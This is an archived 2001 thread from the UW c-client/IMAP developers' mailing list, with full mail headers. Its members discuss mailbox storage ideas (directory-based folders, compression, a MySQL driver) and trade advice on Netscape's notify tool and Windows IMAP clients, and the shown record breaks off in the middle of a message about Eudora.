------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 23 08:05:44 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 May 2001 08:05:43 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4NF5gD15704 for ; Wed, 23 May 2001 08:05:42 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed May 23 08:05:41 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NF5dC03366; Wed, 23 May 2001 08:05:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4NF5Tp26480; Wed, 23 May 2001 08:05:30 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NEue068966 for ; Wed, 23 May 2001 07:56:40 -0700 Received: from btclick.com (mta02.btfusion.com [62.172.195.247]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NEudX32091 for ; Wed, 23 May 2001 07:56:40 -0700 Received: from vengeance.int.acris.co.uk ([213.123.193.70]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GDSMU903.W0U for ; Wed, 23 May 2001 15:56:33 +0100 Received: from minerva (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with SMTP id QAA01520 for ; Wed, 23 May 2001 16:57:55 +0100 Message-Id: <01e901c0e399$350efcd0$032aa8c0@int.acris.co.uk> Date: Wed, 23 May 2001 16:01:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Julian Hall" To: "cclient list" Subject: A few possibilities for the future? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Well, I'm rather new here so I should introduce myself I guess :-) My name's Jules, and you might remember me from the NASM assembler project. I'm rather new to the area of the c-client library and IMAP in general, but have worked with e-mail systems in the past so I'm not entirely clueless! I was wondering a couple of things that might or might not have been thought of before and dismissed, or might be vaguely original thoughts (however unlikely that is). Firstly, as I note has been a source of constant discussion on this list, in order for C-Client & WU IMAPD to support folders containing both messages and folders (ie, an object that is both a mailbox and a directory) under UNIX & other similar systems is to use one of the directory based mail folder formats, which are discouraged due to performance issues. I wonder however, is there not a possibility to create a driver that creates a directory with the name of its mailbox, and then stores the messages in a suitably named file inside that directory (eg '.messagestore')? I would have thought that this would solve this problem and mean that the various clients that expect to be able to do this (I have found several!) won't break horribly. Out of interest, while on the subject of how this problem breaks clients, I have found the following from my brief survey of potential clients (under Windows): Netscape Messenger 4.7 this program allows you to create subdirectories using the 'dir/name' syntax, and shows the directories as not being able to accept messages. However, deleting mailboxes does not work (it tries to move the mailbox to Trash/name, which fails because Trash already exists). Outlook Express 5 Doesn't allow you to create subdirectories, because it isolates '/' as a reserved character and won't let you use it. Doesn't recognise that the directories can't contain messages. Deletion is fine, as long as you remember to switch to a different mailbox first! I haven't had time yet to fully evaluate any other clients. Do any of the others interoperate better than this? The second point I wished to raise was the possibility of creating a driver that supports compressed messages. I note that discussions of performance have recently centered on I/O bandwidth as the bottleneck; in this case a suitably designed compression algorithm could actually speed up operation, as well as saving disk space! Any comments? Any reason either of these can't be done? Any advice on how I could go about implementing either of these if I find the time to do so? Jules -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 23 11:11:26 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 May 2001 11:11:26 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4NIBOD12448 for ; Wed, 23 May 2001 11:11:25 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed May 23 11:11:24 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NIBMC10328; Wed, 23 May 2001 11:11:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4NIBEE24852; Wed, 23 May 2001 11:11:15 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NHu1041902 for ; Wed, 23 May 2001 10:56:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (murphy@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NHu0X27591 for ; Wed, 23 May 2001 10:56:00 -0700 Message-Id: Date: Wed, 23 May 2001 10:47:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sean Witham Cc: c-client@u.washington.edu Subject: re: Netscape problems with uw imapd In-Reply-To: <3B0B9AA1.1CAB765D@asa.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Netscape's notify tool is well-known to be broken for quite some time. There has been no word that it will ever be fixed. Consequently, the best thing to do with Netscape's notify tool is: DEL NSNOTIFY.EXE In general, Netscape's IMAP client is not a very good one, and as far as anyone can tell, it has been allowed to succumb to software rot. I don't know why in your particular case that you're not getting new mail; there could be any of a number of reasons on both client and server. However, as the first diagnostic test you should try some other client (preferably one that actually gives some information about the IMAP status such as Pine), to see if the problem still occurs If it does happen with other clients, then there are some additional diagnostic tests. If it doesn't then you might as well stay with that other client. From pinedev@shivax2.cac.washington.edu Thu May 24 01:01:13 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 01:01:08 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4O80tD09521 for ; Thu, 24 May 2001 01:01:01 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 01:00:53 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4O80oC00324; Thu, 24 May 2001 01:00:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4O7xhE24926; Thu, 24 May 2001 00:59:43 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4O7rK0128022 for ; Thu, 24 May 2001 00:53:21 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4O7rJF00581 for ; Thu, 24 May 2001 00:53:19 -0700 Received: (qmail 29483 invoked by uid 200); 24 May 2001 07:53:12 -0000 Message-Id: <20010524075312.29482.qmail@dag.newtech.fi> Date: Thu, 24 May 2001 10:53:12 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@u.washington.edu Subject: Database mailbox storage Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I have for a long time had the idea that using a database (ie. MySQL) for storing the messages would be a good idea. Now I checked out the sources for IMAP and found that it would not be an impossible task to make a driver for this and fit it into C-client/IMAP. As the research I made on the subject suprisingly didn't show up with any similar solutions I have a couple of questions to the mailexperts on the list: 1. Is this a bad idea ? 2. Has anyone done this already. Wouldn't like to reinvent the wheel. 3 Hints, advice and gotchas on what to think about when setting up the database layout. BRGDS -- = Dag Nygren email: dag@newtech.fi Oy Espoon NewTech Ab phone: +358 9 8024910 Tr=E4sktorpet 3 fax: +358 9 8024916 02360 ESBO Mobile: +358 400 426312 FINLAND -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu May 24 04:01:30 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 04:01:13 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OB0ID11681 for ; Thu, 24 May 2001 04:00:27 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 03:57:03 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OAv1u17415; Thu, 24 May 2001 03:57:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OAuwX27852; Thu, 24 May 2001 03:56:58 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OArf095402 for ; Thu, 24 May 2001 03:53:41 -0700 Received: from btclick.com (mta02.btfusion.com [62.172.195.247]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OAres17548 for ; Thu, 24 May 2001 03:53:41 -0700 Received: from vengeance.int.acris.co.uk ([213.123.193.70]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GDU69A04.BCB for ; Thu, 24 May 2001 11:53:34 +0100 Received: from minerva (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with SMTP id MAA05719 for ; Thu, 24 May 2001 12:54:53 +0100 Message-Id: <024b01c0e440$73172370$032aa8c0@int.acris.co.uk> Date: Thu, 24 May 2001 11:58:21 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Julian Hall" To: "cclient list" Subject: Re: Database mailbox storage References: <20010524075312.29482.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by mx1.cac.washington.edu id f4OAv1u17415 I certainly think this is a good idea. As far as MySQLs performance goes= , I have had some good experience with it. I run a few web sites which deal with large numbers of images and have found that storing the image data directly in the database generally gives better performance than storing = a file name and having to have the server find and open that file from amon= g a very large (2,000+files) directory. Also, MySQL's more recent updates no= t only will allow more reliable systems in case of crash (eg transaction support would help with this) but also additional performance benefits (delayed updates could be useful in many circumstances...?). Also transactional logging would mean that a corrupted mail spool could easily= be recovered. A database driver also wouldn't suffer from the mailbox-within-mailbox limitations I have been discussing in another thread recently. If you need a hand with this, I'm available. I'll certainly help alpha/b= eta test it for you. Jules ----- Original Message ----- From: Dag Nygren To: Sent: Thursday, May 24, 2001 8:53 AM Subject: Database mailbox storage > > Hi, > > I have for a long time had the idea that using a > database (ie. MySQL) for storing the messages would > be a good idea. > Now I checked out the sources for IMAP and found that > it would not be an impossible task to make a driver for > this and fit it into C-client/IMAP. > > As the research I made on the subject suprisingly didn't > show up with any similar solutions I have a couple of > questions to the mailexperts on the list: > > 1. Is this a bad idea ? > > 2. Has anyone done this already. Wouldn't like to reinvent > the wheel. > > 3 Hints, advice and gotchas on what to think about when setting up the > database layout. > > BRGDS > > > > -- > Dag Nygren email: dag@newtech.fi > Oy Espoon NewTech Ab phone: +358 9 8024910 > Tr=E4sktorpet 3 fax: +358 9 8024916 > 02360 ESBO Mobile: +358 400 426312 > FINLAND > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > > --=20 ------------------------------------------------------------------ For information about this mailing list, and its archives, see:=20 http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu May 24 04:07:03 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 04:07:03 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OB1BD27268 for ; Thu, 24 May 2001 04:01:27 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 03:49:08 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OAn6C03393; Thu, 24 May 2001 03:49:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OAn3E30510; Thu, 24 May 2001 03:49:03 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OAji016068 for ; Thu, 24 May 2001 03:45:44 -0700 Received: from btclick.com (mta01.btfusion.com [62.172.195.11]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OAjhK10240 for ; Thu, 24 May 2001 03:45:43 -0700 Received: from vengeance.int.acris.co.uk ([213.123.193.70]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GDU5W102.K9X for ; Thu, 24 May 2001 11:45:37 +0100 Received: from minerva (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with SMTP id MAA05703 for ; Thu, 24 May 2001 12:46:56 +0100 Message-Id: <023601c0e43f$57123ee0$032aa8c0@int.acris.co.uk> Date: Thu, 24 May 2001 11:50:24 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Julian Hall" To: "cclient list" Subject: Re: A few possibilities for the future? References: <01e901c0e399$350efcd0$032aa8c0@int.acris.co.uk> <3B0BE1E5.AFC5A095@masirv.com> MIME-Version: 1.0 Content-Type: text/plain; charset="x-user-defined" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Indeed - I had thought of bz2 as the obvious choice of compression, although it may be slightly slower than would be desirable. Its a shame Unisys hold the patent on LZW (although I understand that they may only hold it for applications to raster images...?) ----- Original Message ----- From: OMTGW - Tracy Ta To: Julian Hall Sent: Wednesday, May 23, 2001 5:14 PM Subject: Re: A few possibilities for the future? > Hi Julian, > Compression will be great. One suggestion is to look at Bzip2 , using the buff > to buff compress > routine. Bzip2 is free and is located at http://source.cygnus.com/bzip2 > If you have the time to do it. It will be useful for everybody. > Tracy From pinedev@shivax2.cac.washington.edu Thu May 24 04:07:10 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 04:07:04 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OB0VD09049 for ; Thu, 24 May 2001 04:00:52 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 03:29:03 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OASxC03025; Thu, 24 May 2001 03:28:59 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OASvp25474; Thu, 24 May 2001 03:28:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OALH0100276 for ; Thu, 24 May 2001 03:21:18 -0700 Received: from asa.co.uk (mailgate.asa.co.uk [193.119.169.66]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OALDF14590 for ; Thu, 24 May 2001 03:21:14 -0700 Message-Id: <3B0CD02B.7795EF6@asa.co.uk> Date: Thu, 24 May 2001 10:11:07 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sean Witham To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Netscape problems with uw imapd References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en-GB, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > Netscape's notify tool is well-known to be broken for quite some time. There > has been no word that it will ever be fixed. Consequently, the best thing to > do with Netscape's notify tool is: > DEL NSNOTIFY.EXE > The strange thing is it was workling (most of the time) with the old uw-imapd That asside is there any reason why I wouldn't be able to get a third party "biff" like tool to work ? Can anyone recomend one that will sit on the win32 tool bar ? > In general, Netscape's IMAP client is not a very good one, and as far as > anyone can tell, it has been allowed to succumb to software rot. I don't know > why in your particular case that you're not getting new mail; there could be > any of a number of reasons on both client and server. > Well, I haven't had any reports of the problem since the upgarde of uw-imapd. We will just have to wait and see. > However, as the first diagnostic test you should try some other client > (preferably one that actually gives some information about the IMAP status > such as Pine), to see if the problem still occurs If it does happen with > other clients, then there are some additional diagnostic tests. If it doesn't > then you might as well stay with that other client. I will do that should the problem repeat itself with the new uw-imapd. The next question which this list must have been asked lots of time is for recomendation for an IMAP/POP aware Graphical email tool for Windows. Outlook is not an option ( I don't like the security problems it casuses, nor the lack of message header information ). >From a users point of view the netscape mail tool is quite useable. I'd like something with the same ease of use (or better) and functionality. --Sean From pinedev@shivax2.cac.washington.edu Thu May 24 04:07:11 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 04:07:11 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OB0UD26946 for ; Thu, 24 May 2001 04:00:51 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 03:25:50 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OAPlu16883; Thu, 24 May 2001 03:25:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OAPfH31072; Thu, 24 May 2001 03:25:42 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OAL6095464 for ; Thu, 24 May 2001 03:21:06 -0700 Received: from asa.co.uk (mailgate.asa.co.uk [193.119.169.66]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OAL3X10947 for ; Thu, 24 May 2001 03:21:04 -0700 Message-Id: <3B0CD6E0.D0CBCEDF@asa.co.uk> Date: Thu, 24 May 2001 10:39:44 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sean Witham To: Dag Nygren Cc: c-client@u.washington.edu Subject: Re: Database mailbox storage References: <20010524075312.29482.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en-GB, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dag Nygren wrote: > > I have for a long time had the idea that using a > database (ie. MySQL) for storing the messages would > be a good idea. Given the large nature of attachements etc used with email now MySQL may not be the best approach for storing the actual messages MIME contenet. I doubt MySQLs blobs would be up to the job. It should do fine for indexing the message (headers, attachemnts and all), but you will still probably need something like MBX spool area to store the actuall messages in. MySQL is good for structed databases, Email headers are well suited to a structered approach but the body contenets is often not. Postgress may be able to handle the unstructred content better with is OO extentions but I haven't checked this out. > > 1. Is this a bad idea ? > Its a good idea. Their are advantages when managing VERY large mailboxes. Message can be located and retrived more easily (from a users point of view at least). It lends itself to both IMAP access and WEB acesses. The same data can also be used by an MTA when acepting and deliviring email. Check the exim MTA it has MySQL hocks. It would also enable the MTA to sort the email into sub folders (like procmail). You wouldn't need a password file for email accounts. Other advantages include the ability to generate ALL SORTS of mail statistics for your server. You may be able to introduce an NFS safe locking scheem by using the database as the locking engine but I see very few situtations where that would be useful. There is proabably a lot more that you could achieve > > 3 Hints, advice and gotchas on what to think about when setting up the > database layout. > See my previous comments. Databases can consume large amounts of memory when carrying out complex querries the results of which will also take a up a lot of memeory in the imapd process. Just something to bear in mind when you start using those C APIs to build your driver. --Sean Witham From pinedev@shivax2.cac.washington.edu Thu May 24 05:49:06 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 05:49:05 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OCn4D19117 for ; Thu, 24 May 2001 05:49:05 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 05:49:04 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OCn0C05710; Thu, 24 May 2001 05:49:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OCmnE23816; Thu, 24 May 2001 05:48:49 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OCk80100136 for ; Thu, 24 May 2001 05:46:08 -0700 Received: from klepto.isrd.lan (root@[206.205.246.48]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OCk7X22072 for ; Thu, 24 May 2001 05:46:07 -0700 Received: from localhost (kevin@localhost) by klepto.isrd.lan (8.10.2/8.10.2) with ESMTP id f4OCoIU01052; Thu, 24 May 2001 08:50:18 -0400 Message-Id: Date: Thu, 24 May 2001 08:50:18 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kevin Dwyer To: Sean Witham Cc: Subject: Re: Netscape problems with uw imapd In-Reply-To: <3B0CD02B.7795EF6@asa.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: klepto.isrd.lan: kevin owned process doing -bs X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sean, have you tried Eudora? While I personally detest Windows, I had to use it for a while in my previous position. We had UW-IMAP running on a solaris box with Windows clients. The email program of choice ended up being Eudora. It seemed to support the IMAP extensions well (or we didn't do anything powerful). You may want to give it a whirl. I believe Eudora has a little systray icon of a mailbox or something and lets you know when there is new mail. I believe it worked. /* Kevin Dwyer */ /* Network Security Engineer -=- Intermedia Communications */ On Thu, 24 May 2001, Sean Witham grunted something like: [sean.w] Mark Crispin wrote: [sean.w] [sean.w] > [sean.w] > Netscape's notify tool is well-known to be broken for quite some time. There [sean.w] > has been no word that it will ever be fixed. Consequently, the best thing to [sean.w] > do with Netscape's notify tool is: [sean.w] > DEL NSNOTIFY.EXE [sean.w] > [sean.w] [sean.w] The strange thing is it was workling (most of the time) with the old [sean.w] uw-imapd [sean.w] [sean.w] That asside is there any reason why I wouldn't be able to get a third [sean.w] party "biff" like tool to work ? Can anyone recomend one that will sit [sean.w] on the win32 tool bar ? [sean.w] [sean.w] > In general, Netscape's IMAP client is not a very good one, and as far as [sean.w] > anyone can tell, it has been allowed to succumb to software rot. I don't know [sean.w] > why in your particular case that you're not getting new mail; there could be [sean.w] > any of a number of reasons on both client and server. [sean.w] > [sean.w] [sean.w] Well, I haven't had any reports of the problem since the upgarde of [sean.w] uw-imapd. We will just have to wait and see. [sean.w] [sean.w] > However, as the first diagnostic test you should try some other client [sean.w] > (preferably one that actually gives some information about the IMAP status [sean.w] > such as Pine), to see if the problem still occurs If it does happen with [sean.w] > other clients, then there are some additional diagnostic tests. If it doesn't [sean.w] > then you might as well stay with that other client. [sean.w] [sean.w] I will do that should the problem repeat itself with the new uw-imapd. [sean.w] [sean.w] The next question which this list must have been asked lots of time is [sean.w] for recomendation for an IMAP/POP aware Graphical email tool for [sean.w] Windows. Outlook is not an option ( I don't like the security problems [sean.w] it casuses, nor the lack of message header information ). [sean.w] [sean.w] >From a users point of view the netscape mail tool is quite useable. [sean.w] I'd like something with the same ease of use (or better) and [sean.w] functionality. [sean.w] [sean.w] --Sean [sean.w] From pinedev@shivax2.cac.washington.edu Thu May 24 10:09:38 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 May 2001 10:09:37 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OH9aD28906 for ; Thu, 24 May 2001 10:09:36 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 24 10:09:35 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OH9XC13411; Thu, 24 May 2001 10:09:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4OH9RX04720; Thu, 24 May 2001 10:09:27 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OH6t0128592 for ; Thu, 24 May 2001 10:06:55 -0700 Received: from btclick.com (mta01.btfusion.com [62.172.195.11]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4OH6ss19858 for ; Thu, 24 May 2001 10:06:54 -0700 Received: from vengeance.int.acris.co.uk ([213.123.192.88]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GDUNJC03.S06 for ; Thu, 24 May 2001 18:06:48 +0100 Received: from minerva (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with SMTP id TAA07888 for ; Thu, 24 May 2001 19:08:01 +0100 Message-Id: <02c801c0e474$95b6ac50$032aa8c0@int.acris.co.uk> Date: Thu, 24 May 2001 18:11:33 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Julian Hall" To: "cclient list" Subject: Re: Netscape problems with uw imapd References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Personally, I'd avoid Eudora. It has a nasty security problem that is almost as bad as any of the 